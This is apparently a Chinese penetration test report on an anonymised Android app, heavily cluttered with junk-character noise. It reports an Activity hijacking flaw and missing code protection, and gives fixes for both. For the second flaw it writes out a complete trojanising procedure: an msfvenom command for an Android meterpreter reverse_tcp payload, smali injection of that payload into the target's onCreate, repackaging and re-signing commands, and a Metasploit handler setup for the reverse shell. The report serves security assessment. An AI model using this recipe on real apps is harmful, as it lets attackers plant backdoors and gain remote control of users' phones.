3 }9 h1 w4 y; o4 J) {+ y6 c
) `) j" f! b5 h5 p& e
D4 g9 I+ F/ Z3 |
5 n% w" b- ~2 D$ T3 m3 Y6 o: D 表1-2 测试结果
; F7 w0 X( v8 t/ G8 W# m/ S3 b2 y5 N& e. U' T' |- H7 I/ \1 v
- M+ p: X3 `( S/ X' Q1 C8 Y# A
5 H; p/ M" l0 O) p % ]* ?! ]* |8 ]
5 c* a* j) L2 F7 d6 a4 j) a1 P
; L4 W/ o8 A1 k3 A1 n- h+ N6 V; r. i* ]
& ?( s' q/ d! i' r) f. p* g1 e6 i6 Q2 Z
- h( M3 n6 J4 |) y6 I0 J: v
+ g" Z) A7 j& f 2 检测结果
7 s( B5 v8 p( ^& a+ A5 K. [/ z
( [. q, o4 q- i$ f& x" m
2 p; Q7 l& ?" ~0 |7 M
% V0 W. r0 U, L, J% x% m; ~
1 {9 _# K8 Z. f* s- n
8 q P8 ` t% d8 n 2.1 某某某 ; p5 a$ O$ w8 d3 U. S4 m" f
6 ^, ^" E9 O3 V X m
- C+ ~2 \: k, e2 q
5 u1 r8 M: s3 @8 g. J* K
& K6 |! B |4 D* U( v' U0 U) M& M
0 n# S7 X- Q l4 x8 a/ d, b
2.1.1检测目标 1 y2 H5 \. A- c) P4 Y/ S
9 d, L o: u' t4 g
/ w+ u3 t* f" c N! L% a
" z4 h6 [; W8 P2 d6 m
$ P( |7 G& D' Z/ g
, |3 S! f% N" h1 u 目标地址: 某某某某某某APP
[" K1 I2 _1 ~- D
/ j* I+ o8 _! A
6 h9 N" d4 ~% e6 z4 V5 P
$ o4 `% N0 W! `2 j
9 W O' c) N( v7 a/ }$ G. W. N: \7 h0 t, }
2.1.2检测结果 ; v+ p/ w( \, J& k, o" \
! N/ M2 t) \3 q# u
7 L( d9 L& @8 U9 D) g5 [& m
- ?+ @& {+ }1 Y% L' w
2 f( A/ ~/ {1 s$ h" Q* f
7 j i7 X: h" N2 _& X- ~
2.1.2.1
/ s; w; }4 S! L' I% X$ m. X0 `9 @" g$ ]+ `. H0 X% x9 D, c
: e0 N8 t1 {& g7 |5 A' j
) L, l. A1 J) g- z2 O6 @/ b
/ O H+ x/ w& c$ w" s4 y
6 E* a( ~1 j. K" _ 漏洞链接地址:某某某某某某APP 4 O- e- ?1 m$ @! l9 i* a8 W0 ]3 |: |; o
* p4 K+ D# |' E, h% s
3 F! N J N) R3 W1 ~4 N! e: m
; u4 t2 o8 O3 W" |! a 8 z# A( b h3 O) N! U0 W
# ~- K# y! z; X! u& K5 x2 ?6 s
7 b v) j' [4 o* E( \3 r& h, I" F, V0 h8 j' q! L Q
; t5 O2 ]; q% T/ |# J
( Q! t0 N( J% }) ^, O6 N0 e+ v
9 Q1 ^- `4 v" @3 L* ^, N. N8 x
" R+ f& z- }2 Q; i 漏洞分析及取证:
" m, K' [$ m# v* E
2 A/ m( J8 n( `0 u5 |2 U p; Y a" d% M
+ @/ i* P( p' \& E- g2 v
1 @* l: _0 I2 W- ?8 R4 i* d
, d O N4 _3 _, L S9 |1 J+ r
& g* D; b1 Q0 ^$ P. { 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
" }' u% v& h+ J" K, f/ M" X3 q+ ~! M5 G
1 U0 F& @3 U6 v: V) N4 x
/ ]. v p; w$ h7 V. e * a9 Z2 t7 l( r) b
; v' T/ e9 }; K. C
- J, G [& C8 w2 U8 L6 K7 r" |9 w0 Z% L
2 m7 u- k* a& N6 A# v, M w3 n
I' x5 W, c; A( c& s0 N& g: i
+ W. z9 D4 _* O5 l7 V; I# h$ q
3 H1 q' v) T) x- J, Q# y. K
" S* g$ z9 Q$ f( U+ V4 s0 x% Y; k0 H) q( w3 i% T, b( y
0 O" H( M( R; V5 R) }6 n
1 j$ ^5 c! ]6 R4 K! E- I# _, D% f
# p* k2 T, X- C3 v0 `
% V- x" w9 x, J. G$ ?
" F- j; M( P6 [! Z" h0 @, h4 X4 E. c- a4 G$ u
+ X& w+ }* o$ b- K0 j$ f) l9 m/ i( K8 ?6 l( v; E* |+ E, X
3 p% f. z3 K5 g2 {4 X, z7 L* m
7 Z: J8 {0 H1 o9 }5 [& Y* p' B
, f5 i$ K5 X9 m! J8 ~0 l7 i. [. l% _! R5 z
; { i1 @0 N; I+ J4 p$ ^
& f6 a; q) u. C8 Q* ` 2 L9 P1 P, ^+ [! } R& G
# f) `3 a8 y0 n+ x" b$ g4 {
: n! D( P. u( V) x$ i+ o! ]1 x+ {
. P U0 f4 f3 Y* q8 f- k
/ [' M$ _3 T2 D6 N6 y: a
2 I) F7 T* T# s6 ?
/ \& V9 E m6 V C
6 B' m8 v! H/ S. `; A6 r4 {7 C 漏洞危害:高
* K. C5 X' J/ X. b/ m( t1 d# R _0 {' s9 N. k2 q
9 ?3 }, v) e' l! ~% v* ?
' B1 G7 H. ^5 P0 s% V& ^0 y' V" O
5 _) H. z# r- }6 P6 i( l$ u2 j
a' z# |/ Y) Y, _* ?! e) K " e1 L; {" \ D/ d
# L& h4 }* V& m$ e6 f
) {, H4 E: [3 b. _/ x0 J" N2 R( d$ j T- B1 [
0 d0 Y: Y- x% _% H; M
8 @9 c( ^/ [ U9 }' c9 U* y8 ^! R* I" v | & c |& P6 T* V c
7 |9 v' r" Q* P% {' u, b : C. _9 }% H8 y" j
8 l0 u* ]$ O( G% m$ V
严重程度
. y) p! Y1 v0 N2 Y ^
, V2 m3 b" P2 T( M1 N
& Y. @, ]* ~# n
% L& @2 y0 [9 d) v |
: ?' L& e" a" }+ e5 w
# c ]5 d# R$ I6 h) z8 J
/ w6 ]( ?1 V! u4 [% i+ ~' D- p" m9 Z Q; ?8 F
8 q [- d3 f5 h* b) u4 A* y5 c
0 O% Q( t6 s% d' J% Y, N
高 $ \6 N( F% J- ?
! V: t1 o: p* ^ a6 G; C2 X' I H0 H$ ^2 n- c0 ]; M9 {
) Z- S9 C6 ]) ^1 q' s | ! z9 m4 Z7 z, [1 Q
' b3 b/ A; ]- u0 _5 o4 {7 o& \
- J3 }1 F9 M7 w5 C+ l( i! L5 Y' `/ Q& {6 S9 f! }
% v6 i5 h% K0 E4 ]8 W5 a9 V0 q# V5 w1 x0 t
■
, N& C% d# p* g$ f- J: y7 d h6 {& n- U/ w2 V
+ o d5 F4 Z9 E7 n3 x R* K" P6 i3 s+ n7 V( v
|
6 e7 j# g7 C$ o, w; S$ u) G8 s& h2 [6 R! p6 Z( D; M* g
& }2 f9 J* ~' A4 q
' Q5 C' S+ ^9 R8 k
' S. t; c. B* M3 o# n7 b/ M
0 j0 e) B! Y1 G" ^2 _ 中 - f% z( V) G' Q2 {4 g: y4 C; Z
; f. m+ r$ i5 E
) K! B! Y0 \" q/ Y B6 U" t T
! x& S$ A a1 f' J; E | : V& D- F- @' s$ ^/ P
/ n4 M; ]# h0 A I [% p; S c
W6 k0 W N6 L8 ?7 F" _5 C5 @0 Z" v9 p7 @ - S5 a+ I; U+ D, H4 j
- h7 R" ~- z$ V$ C- C7 b! d* w* `
$ f( e& e5 t) H& ] n, ?+ T
. |% ]5 T1 E; ?( |
. d7 q. H; L2 }2 d5 z8 s k. @8 ]- Y8 c4 N7 N% Y( t
| % y5 \& |. k" v- }" M- x$ ^
C0 v$ p. x! |
/ j1 _+ |6 a3 Y" m6 f: s
/ J9 G6 O# o0 K' W3 p/ _+ ]7 w
( j" |! s( o g7 A( M: c5 {' j
b4 M" `# K6 Q, ?& A/ @! i& e 低 0 f/ M% P: d& |
2 C. `5 g& y$ f
- K) {2 z2 ~2 Y' G2 D M) X( j
* x- r$ J. o& Y& |; R
|
$ x' D1 Y, |- Q$ h# h7 \: b
% C1 S. e! ^7 S5 M) _/ G8 P( t * h' k% p$ m8 p9 U: B
# q1 t+ j3 w+ h% O$ ~
( Z$ D i! k5 i7 N6 I* W, `7 b$ v- h" r, Y
' }. S4 ]4 s. t" r
. M# S" Z1 C" t \- e$ }
0 @! \! D5 q9 _: I. n9 D
( A$ z; B; P6 {" v7 G |
+ b: i. U" z4 B, f7 j
u+ T' j! r n4 s8 d3 w3 J4 f
( j p8 `( R! J# D
1 D1 G( D/ p5 `" U2 A% S: b. \1 b 0 b4 g& n. E( d5 h" {
( _" H; ~- @; G8 C& w9 I" f: H7 ^
+ Y2 X! k7 ^% `
# O" a2 @+ O: N6 C. t* b% s/ o
$ q2 P: ^2 a8 g) Y3 n
4 f9 E& B3 V p6 T . [- }7 G/ n( N' I: y
: M! Y; v" M' I8 e+ ^
+ d9 H' {( B1 J8 Q+ n3 Z; d, e) `8 u) w
# M$ S( Z6 @; b3 D
2 t) F, e f( b& F0 c, m: w K W+ o" j
; f) t4 Y6 M: |+ R7 l$ W
! [% ?$ D* K0 c+ }5 a. N 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
/ c1 a4 h# T- u7 ~0 ^- x* C6 n; {( v; ^/ @# ]
0 t, [: `2 u0 H
. x( w) W. ^9 l; n2 w
/ f2 p* c- N$ d. V2 Q' [6 V- @8 B, E1 U$ ?$ n/ N% c7 z v! N% n1 B
7 B$ Z8 u. [- o8 X5 e; W& T9 g$ b6 i' E! s
; ^4 F8 x& l8 C
; |% V2 Q/ O6 O8 Q$ ?& V9 m
# t: R2 C. T# i( Q( ~" |
$ Q6 Y, n3 Q6 A& X B [+ T) p) D ! y( F$ Y; n8 y$ P
' ?" S- s9 X! S
9 V5 A* Z: L! F6 c/ g8 F4 j6 a
2 e: a+ t! K+ k2 f, _$ `8 Y0 O5 a5 M
7 o% n6 @8 K0 s9 y% H/ t( J6 B
+ F& u1 n, R" E# e D/ L 2.1.2.2
0 a$ _4 z" s% u! O" y- V: H
: |! e$ `/ H# J* J
( X% o9 n M3 @
: z. e; c4 B0 q- U
/ K! x. q0 n, D6 M7 S- b8 U; D6 ~1 B# ~. e
漏洞链接地址:某某某某某某APP
) D; d+ _4 o) |5 K* c- @. k% E2 c+ g+ h* X f1 G6 ^- }
4 ~6 t9 F" | y( T6 ?/ F/ z
6 N3 S' ]3 @* h% v ' I# K3 H# F4 H# P; m- |0 ^
) S6 N; Z; H# Y; G 漏洞分析及取证:
7 Y! @7 Z. |( l' k' o( a# f$ z( J8 N" y9 D8 `& ^5 ~* z$ j3 u! d
. a$ o+ u9 [0 X. K" P
3 X+ @7 O" N, ], d/ c# j y8 v# z
' h1 J @+ c3 c) H# G6 ?, {' H. w- \
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: . R( d. A) @0 G0 B, R
# r4 r: T4 T/ x" w
2 {; v) |2 G H7 p) U6 c5 B: w
3 j1 B: m h4 k y5 C; A6 f
, I3 O4 t. m) W+ l* m% K& S
) {, K8 k! C" e3 w6 u# n9 p' F
用Metasploit 生成木马 apk
. G0 i. m6 ?2 c0 k4 E0 r# d: }. A& N! h9 c% }" x
+ H7 b/ m5 L; P% K* V, f7 H; z2 M7 J+ g5 z- `! V
+ G* Z( Z0 x: E5 y' M
8 D3 x" ]7 Y2 P6 w2 L
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk $ a: A& K# s2 |4 s5 z* j
1 m7 n8 z: I7 ]2 P
1 {1 U4 D! Q/ K( Q j( T2 C! {4 Y" ~1 K) R- q3 d
% R9 R' n8 C! k Q l
4 K7 I6 N! d1 T8 n 反编译目标apk和木马apk
. k# v' c; x- R% t8 A$ g
8 O3 Y2 q9 @ S5 b
% ], V {% B: ?6 _9 ?% j- `+ T$ \$ Y: l
) T* i& k8 a6 K( C5 b
5 C. H; x( i* b' x" q0 } apktool d target.apk
' L" @1 w g1 f3 t
3 _) ]( E t9 X4 | apktool d cockhorse.apk
8 A6 ?: x, F2 u
0 t5 { Q/ i% a% o6 Z' \ R& n
5 D8 H# I+ P# E( H/ B9 D
/ Z# T' y( }) Z
9 `- F* t3 h/ L. n; T7 E
& H) a% G( I0 i8 K: u 木马 apk 注入目标 apk
" s$ q4 }3 B0 B4 A3 h7 P6 f% m S" t
# b4 O9 G' F, F: L0 n2 M6 a3 N7 k. t% w6 U$ \( K
( t) B$ B* u" R8 h9 _2 K& I* N
. J, F1 ^! f% h7 E 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
$ s% E! |0 R5 _4 {7 ?6 y( l5 s8 a6 \' F7 Z, c7 F9 ^
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
: y9 Y! N# V: E' k7 | ]/ d
8 `0 Z* a% i. J2 D; P" p
6 D$ T" T% B, l8 M% m9 t8 G W* ~, E9 g
- s) E; z; Y1 W, m; I0 k3 y" w
0 U/ [% z3 C8 q A 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 3 f4 C. D2 p$ c$ \! J# K5 _
6 h+ H/ s4 v; s, @* e P; D% n
! l4 Y5 Q# }& s" K9 e1 f- g
$ B: X Y1 }2 M4 l; M ' t- t' k, S/ \6 w' H! i s7 Z8 f( ]
, ?# J' `4 p- R# g
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
; v* p0 E* y F# y2 u
* o3 c( t6 I# Q8 z+ P: d3 p
+ P% {; l( Y$ x! H9 k, f- ]8 V9 w
K- a! X7 c) J# O3 s+ D
( i" k$ x( G3 d; b3 w- q: ?0 J$ ?& ^% x; Q7 f. q6 y; ?
回编译生成最终 apk
' v5 x' v5 T$ Y/ r8 w
/ @: y, F) T7 D5 ^% g- s
Y" Z0 R' B$ [( L6 ~
7 t O3 W' z9 E7 s - G7 w+ l8 o: j$ \7 w# m, p
. z: Y6 N9 q$ X6 X- c: q
重新打包
7 k+ }. |0 c* a h* U% m" y; D! [+ B' I" y7 C& d
4 M; T' j& f; C: L9 V2 a; x7 G0 O+ e! r# u [3 e- U6 N
- ?0 l- N3 J/ C% |: p! m1 v J+ }: _
apktool b -o repackage.apk target_app_floder
. u4 l) m# e$ g$ V m, y8 W* `; U B& h/ U; M
- o% C6 u" [$ B
. x& T5 {1 o1 N6 c5 ^
; Q N+ ~( V* B' S$ R! I+ s: K% H! \4 W6 E! d" R. V* o" \
创建签名文件,有的话可忽略此步骤 + O9 q; u" L0 V. }# n
6 l8 d$ g. `+ W# k C
4 O4 e1 p a9 ]' D" T, Z
! X6 m% V: N( Q2 E% Q. J
8 ?+ D% V& `" o: R2 g( w: @, J! V# b# B& U" T b
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 : \+ X+ s% q; C
1 \$ M6 @0 L$ Y+ u1 b
. j# y+ C1 O. i* H. P, Z9 ^! f
4 r8 x5 l9 c! L3 T; J/ \
# ^# u! [- G, q2 V; p
; s i( Z, N1 X 签名,以下任选其一 / q( M( q! ? Q6 @
8 ?# j" S3 i! r4 ^* B b
; X) H* m% G; ]( L1 v* a
7 @- C. q1 f$ |& T6 ]
+ ^! e" A/ M! U; x
4 [; x& o9 t+ C7 s$ G& P jarsigner 方式
' @' ?/ v' U E. q* D
0 t6 j2 C# n' ~" l; C K0 }
- g" L/ ~4 f- Y& P* C- A. C
& Y- ^6 T. o' B5 Z
6 m5 |0 n& k/ p' J- y0 F" d
) h- ~/ M$ c3 R" E jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 5 Y3 y5 c: K$ R/ ?: ]# K1 }+ c, t
4 n* G- A9 a' c ~4 p
* F1 K y: Z& M& j; B/ s- c& k" \% G- n( p4 {. v/ @
i3 m1 l) B$ K
4 U/ R: t3 _8 s
apksigner 方式
5 P' X1 z, p* o- x( |4 u5 g: K: }. j# Y" k* W% d
2 b8 Y# }' a7 Z, U. t# v
9 G9 S# w, H# A/ f U' g
. V& R3 g9 a6 o5 @
$ K8 W8 `& J- i* I3 v9 ` apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 1 Q/ J Q0 X. }7 [$ |
# R6 F) @4 S- K* R$ ~; s4 l
* K1 f( E; k* V, W; C/ s: C9 s- n/ g# I( o. [( J6 K. v
* ^5 m& L# h2 ^- D1 X6 y; H$ w) J t% X. B0 R1 A( q* D
如需要禁用 v2签名 添加选项--v2-signing-enabled false ) U& x: h" H# h
* J. i7 {: ?2 [4 j. m
H7 A& U( y* P$ N, ?3 X, z' }- @! T% g$ B8 ^
. _% I- M; d, R6 f3 |) N9 D; \, e. _/ J" N) A. i" p, t
验证,以下任选其一 ; Q+ L; }4 [$ D5 }, L! A- V8 S5 h, r
, d q d; S+ Q6 v+ m9 Z
8 n4 t% ]! o% l' k4 @ b/ `/ _' y+ X0 R9 m/ ]6 _
% l9 g( o' A6 p% `8 d$ B' J
" Y' Z2 j+ @$ f5 {$ |& U8 }( m, i jarsigner方式 5 f1 I$ f5 ?: \) E. R
7 g/ l z. B% R; h" G( E+ c" i. d6 F
# _3 P/ @6 B% V9 m5 L& i2 \1 I6 n
/ O" H4 m" W$ w2 \
: Y7 m- _3 |9 I7 J
9 ]! W5 b# a( X" [) f, N: J$ |0 r
jarsigner -verify repackaged.apk
& U8 R+ A4 o3 t! d( W' k. Z p y
6 z" G5 w1 O, V9 P/ L
; [, \2 j7 S* x& O/ z a/ x
: Y" @2 l; k+ E- [ N- D: E6 S# T* y1 u6 k
1 m1 W, e+ U$ p C7 V6 e apksigner 方式 % S+ D; L, Q- n7 ^2 O: l% a
9 C7 O7 ]6 t/ t- b9 {8 y
# o1 C& H9 b) A! ?9 H
' d( K0 @# G& G g$ W% o1 @0 `$ z
& H' j6 P) w$ G7 e& J' y4 O apksigner verify -v --print-certs repackaged.apk
* S% o6 j+ c5 u; \3 q- p# G3 o1 v( y* I' v6 r
1 F# t7 ]* y2 h9 C8 F, H/ L) }4 M* P* k
# @9 ]; e2 Q" j" V" _8 N. A; O3 _, C6 n0 d3 m4 [0 `
keytool方式
, t, }' y- o+ E" G- @1 ^) ], r1 D$ J. G4 g
2 C; C; {. W' y6 {/ @" |& \
2 {1 Q8 {/ A" w2 {& j* `# e
" W b# ?1 L$ J5 D; E8 _* L
+ F$ ?( c/ z9 m( M/ V9 M& Y' V/ W keytool -printcert -jarfile repackaged.apk . g5 _5 h8 l3 O! _; e4 ?, J
( H, d$ e2 z" N, h% Q' }* q% [; G
2 H0 v; e* q* U* U/ v, O; ?" s
# ^- U% B; j0 ~# D% E# U ( C' A | i" g8 a% Z( w" D4 k
' _6 s2 O. h! g+ o2 H$ s _
对齐
6 W5 `% g' X- ^" P. v& O2 r) Y
1 E4 F+ f3 R j- s
: S% V1 s- K- z8 P1 [) @
2 `6 g7 B' W! v. x, M9 ^& j
- A! k% X2 E1 _; J) D, s6 c5 D* B: g5 m* P
字节对齐优化
- [6 A$ [" O; t6 q
) O6 {% R+ t6 G9 n7 q1 Q
9 D" H3 l, z9 }) j. y' b
0 H+ O$ ^. b% y8 n+ a5 u7 N' w9 k
5 U9 S9 ^" ~5 q$ }9 Z1 D/ S
: A3 b2 }7 J( |! G, R) U zipalign -v 4 repackaged.apk final.apk , f/ C, N. ]2 d7 Q
: O4 e; J3 g8 e) H
2 l. s! D6 U( Q9 `6 E# D
/ z' b* z7 o" B! j
; q e# M0 R# ` F
' F! Y6 w. P; W 检查是否对齐 8 i, U; H7 u5 B" m2 n
2 `( q2 J g) s+ D* \
\. O) U8 c* t) a: |# J
t7 @, f. C8 x9 U3 k; w) E
0 A H. m" T+ ~/ b* P
0 @+ `. e" u# b8 [( n. @2 X zipalign -c -v 4 final.apk / E; l4 ~# p9 f9 k# H# i
9 [* ]( W8 U; I% w
4 {- \6 Q, f: e; q# J
8 c5 R- m- a* f: V; a
4 m& v& u2 s/ x! D# C* U3 v
3 e/ R1 u2 }8 }# l# y( K8 z 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
. E; g5 ^ v+ r' E2 \: S2 Q) x: W# n- Z; K) r1 _. y, B
7 ?$ t! d- M, V) H- l) j0 R5 A: {, i5 A! d
4 \; R0 Y1 M: c, Q d
1 ?( b% E$ y& G' M8 q y0 \8 p: \ 启动Metasploit控制台,配置参数等待上线 % N4 M, L' ]* z: I% }2 d: B
: j @# L0 Q. v
; K( c% l# \; q8 h, Q4 z* Q( U
: C' a" i7 x$ c- [/ r 4 F8 B, S# A5 W- k
6 v" p; T3 O6 B+ t2 P' ~ c$ u 在终端依次输入如下命令 % A8 F1 g' O6 }
+ Y' R/ L7 [9 V* g1 q) ~9 C
( S ?: t2 X+ p% I s( T3 B
7 r& o# \! z% P) a7 Z( L7 r " M+ C9 u+ j! L/ U
) W, j; Q; g5 C
msfconsole 4 C$ c6 M/ o* [. }" L- e
2 H8 i, ]1 p$ U6 |. X7 |
. w% o* y% ?& M9 k/ p3 K$ h" n1 _
7 y- g! q! k* Z' U+ H% q @: D( w L 6 a) n' T4 W8 k* t) F. H( ~2 ]
+ T3 l. v3 h/ y0 _7 z- n0 V0 _ use exploit/multi/handler & G( m. \/ g" W, g6 G: [$ Y8 y
! o3 W% Y8 `& ]# }2 \
6 O5 v) ~ m+ P0 Q! q+ p& ~- t
. f g) t6 ?; g7 r
& H' I( A' K" q8 V ]( ^* g0 Q6 I* d3 u2 l0 e- P
set PAYLOAD android/meterpreter/reverse_tcp , r; i3 _' ^0 ?0 I2 h- V* R3 _; @* g
% j$ _- t$ A# f% R" X' e M: _. W
* k, o2 ]% c- {% l
/ O8 N3 u6 s9 V6 q
/ i+ p9 h. Q$ z9 J0 Z5 i
& C) J. X1 l) d9 O& Z: l set LHOST 192.xxx.xx.xx ) V, C3 o% }+ `& A3 ^+ I
2 [* f2 l( R7 E' ]7 g4 W* Z
! [5 y2 K$ f$ a* E- P* V9 `( n2 C
, b& e, O; s8 z+ ^ % n! ^ n* B2 e7 ^9 O
7 q' f, g n# c$ Q' {
set LPORT 4444 $ Y* w5 j; b. Z0 y& e3 X' v
* }6 T, i$ `" J% x
3 O3 U, ?; T; r3 T; l$ i: `1 ^3 C3 V- b- [- B; b( G
' |7 P* L. S( K4 |9 A# f& z7 y
' d5 L: V; t0 J# P+ J6 t: R# y
exploit 4 i! z1 ~ Y! r1 d- x, o( ]2 p
/ _/ D. d6 R4 E+ ~! i% N) G. i
2 y- \9 J: I7 E, a% u. o3 E$ b: D6 F* P5 [7 x2 C; v
! E3 r" d/ Z B, Q6 v6 }+ {2 U0 H% t/ H9 p1 N$ w! @& R; @7 C
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
) b r( H, ?4 h5 K. \. Z2 k
/ @3 n {/ a$ m
! G, l# \% e t' ~* a$ E/ K. s! X% W
; R0 O. C9 b+ q [+ y. j p* k6 T/ {
漏洞危害:中
8 R! J* _' J8 l/ o3 E- w% S f3 R
% C' H% m. r& e. ~$ P
n- i9 t7 C/ g' M! p- M
/ ~% _, T) v7 u
. _4 q9 ~) p2 `
; f9 r+ }/ A9 f! H8 K# t
# n5 ^5 @# D" H) A
. `7 W" D3 A1 C( `( R 4 |: G' W5 a- a& O2 H7 p
- y, i: }% Z7 p9 q% J7 h
2 ^( b( L9 H7 _2 w' A9 Z# J( R7 L$ @4 P& ~; C x
8 k/ _& s8 c6 e% r; G
# P4 p+ k* @: w
| 3 v6 u8 ]7 X0 ?7 h) c8 z
" t+ [' O& k1 S; x* J+ @ 6 \+ Z1 c5 N# c) {, a# s
% Q9 y1 E0 B% q7 f 严重程度
. J s/ h% y5 ^/ k& p; o$ c2 Y" o) M# C
9 A' O5 D$ ~5 {. t( O! Y$ X. q$ ~+ K4 \' @: K5 `
| 3 E2 ~3 `* B- J& ? @7 l4 S9 s
" c2 Q4 h8 m$ Z& @
8 M5 J5 I4 v( O" @9 v
8 `" ^8 s8 _1 t9 A, v0 y' }' T* C & h% _) T2 j2 I
3 K$ o7 Y f! a 高 5 o* m T& j' @% J
0 v4 F7 G9 N' p7 W1 J- R/ _
7 @, A% o! i8 e/ u6 W2 w4 g
9 d' t$ M4 Q& R" d5 J |
8 e# T3 o" r' ], w; l* y, |/ h; V' {$ O
$ y" r! i& [) I8 {0 w9 x - {7 o6 q& t9 N
* L6 h) s$ j+ S8 ^: n
$ J6 C! e. m R: T2 ?: g: z- r
1 f, k: Q% l0 g, ~9 U. C ■
3 `$ N9 N. h! d) V
6 }, b3 a7 a5 d / h) {% `- v6 J/ `- B' |7 ~. @
/ p0 Z6 J+ X2 M! ~$ e$ N5 A# t
| ; r9 P f# G/ U+ w. e' J: x" G9 @: `9 E
2 }: t) D) w6 {; |4 T* ], v5 a ( v% v& @# E x. c& M
$ W: m5 A" j) Y4 Z! W' Y
7 g6 f$ l8 b# M) Q+ k
6 P/ F7 W1 L- |) ?( v 中
5 G+ a" p5 i L- O
6 V4 X( `( o. ]2 m# c; ?0 n4 N
% G/ F1 V0 {8 f v3 ~' z- q
0 @$ c$ R9 ~$ M* Y$ }- f5 R" g |
5 s5 t( Z* ~. w0 e3 p2 d" D
% L4 J% x# O. [7 ?9 a
) {% q" d$ d5 {4 |
" B- A! A* T- Q * |( S7 J! O' \$ v9 B3 `. n+ l9 m: }
5 o* u8 E! o& g. M1 P* B: P. _
6 s- Z, u/ e/ q4 s3 f
' R9 a! b: G2 K- ]& Q; \) { ; L/ U" V5 L% x( H c! F
* T4 C8 W+ b' R3 K& p
g; S) i5 m, j% l0 N$ m" ?4 e% A
; _) n( H( E# ~& c }+ D2 s9 ] | , Y$ t5 b) Y( ]9 {
; M) e( Y g% \" z- W% j
9 M0 V( U! ?- R, v& s
0 s( Q, o) b3 x% @1 w3 | B4 w+ y; y6 m5 E
- a; J; m6 e7 W" \6 l/ Z2 j6 q
低 , @( P/ \& O3 b) J. ]& c" I! Y
! c) S5 n5 w. b' J
- r- B0 X* v: x. O( L
* Y9 t# f$ {2 E% |' P |
1 ^; M: @* s4 X1 u. B7 R# [' K1 F9 Y+ {+ J
- o6 n4 Y7 M: k0 r" e
) X, x9 U7 c$ j6 \: q5 a
; I/ j! C- r" Z p2 |2 _' [8 s& F$ R* X0 S
3 R( G/ H" E7 _) s; h0 f1 z
5 i& ^9 _1 G' u7 Y) E9 Y- y
* f5 k# q! f7 G H
! r) b# [% g% r0 }+ L, R' U
7 o# a2 ?; b' H7 K( W* d. l4 x( T+ T; X% c
|
+ O. i3 r* U _; I8 w; n* ?) d, q: Y6 Z: Z5 R
! q5 u5 b6 S0 S' `
; x8 ^0 { I4 Y5 k, _8 D
# A* y( A2 @& _# t3 E g) \/ V( j" Q' {
( s! i! @3 u1 w: ?
, {* e& e/ l2 B, r; K8 X7 V* G
9 L: y) N# W0 ^! z. ^, \6 N
" {7 E6 I+ l# Q0 E5 m # q) M; w8 E- o9 `& X
* s% z% D, l1 F. L, w
9 l2 {! C7 v- m& ^" r4 }
5 H* ?/ k0 J# \0 `( S' b' i, M) A) ?
" x2 f% m g5 C1 x" R
; y4 }0 C; w8 f2 [ " i5 N" W. l+ Y5 |+ w2 I
, q) h2 O1 q) P 修复方法:
# ]1 d. c* R& A, V+ U% O* N9 G% b& N+ z! ?2 b
! T) U$ \$ m8 {
# r: @7 @ U6 @( G; h ) _, {/ i* b3 o. W! q
+ q1 E% x4 j/ d% f- y# j7 D: G% d1 @ 1.在 APP 启动时应做签名校验防止二次打包。
# y! G* |9 V3 w: ^
6 o# A. g; ~1 z0 z, P 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 ^5 H4 a/ P( h. d% G. o. m
- e2 m6 o! x' Y$ @$ G R
6 }% u7 K9 n8 s& Q7 g% h
) J: y0 ^" Q, B& g0 _ , O1 S0 s0 }. W8 I4 I7 _& c( b
5 K: U" u) }& h E. Y
* [/ r! {) V0 n
5 e- |3 f, c& X" r# Y3 M I3 q
& P- {$ A( f7 W. w8 H" O# i: K$ z' a H( ~3 X% y( Q
& z5 g& v$ C* H/ |
, |4 r7 ]! L4 T, X % F" Z3 W( K; F
& t* C: [& _2 X " [/ P, _7 d n% x1 L% @" O% Z. o
: J$ r7 X) }9 X7 Z5 N
% J+ W3 H7 K1 W0 R' V" n
$ d% ^8 }( W+ J& k7 \1 \4 z9 x
; _$ a) N1 y% ? g5 H0 W; i
4 T' p! ^; O4 k% f; U" @2 P+ b